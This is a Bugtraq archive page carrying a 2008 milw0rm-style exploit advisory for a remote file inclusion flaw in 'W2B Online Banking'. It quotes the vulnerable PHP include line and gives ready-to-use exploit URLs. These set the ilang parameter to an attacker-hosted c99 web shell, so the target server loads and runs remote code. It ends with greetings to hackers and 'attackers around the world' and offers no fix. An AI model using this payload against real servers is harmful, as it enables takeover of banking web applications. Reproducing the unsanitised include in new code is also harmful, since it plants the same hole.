Bugtraq mailing list archives
remote file include
From: win32.exe () w cn
Date: 15 Apr 2008 18:42:27 -0000
######################################################################### W2B Online Banking Remote File Inclusion Vulnerability ######################################################################### ## AUTHOR: THuM4N ## Email : Win32.exe () w cn ## Script : W2B Online Banking ## Site : http://www.w2b.ru ## Vulnerable CODE : ~~~~~~~~~~/index.php ~~~~~~~~~~~~~~~~~~~~~~ { include($_SESSION["ilang"]."/".$_REQUEST["page"].".htm"); ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ## EXPLOIT : http://[HOST]/[Path]/index.php?ilang=http://yoursite.com/c99.txt? or http://[HOST]/?ilang=http://yoursite.com/c99.txt? ## SPECIAL GREETZ : 2 All MUSLIM HACKERS. ## AND BIGUP 2 All Attackers Around The World . ######################################################################### W2B Online Banking Remote File Inclusion Vulnerability ######################################################################### # milw0rm.com [2008-04-15]
Current thread:
- remote file include win32 . exe (Apr 15)
- <Possible follow-ups>
- remote file include win32 . exe (Apr 15)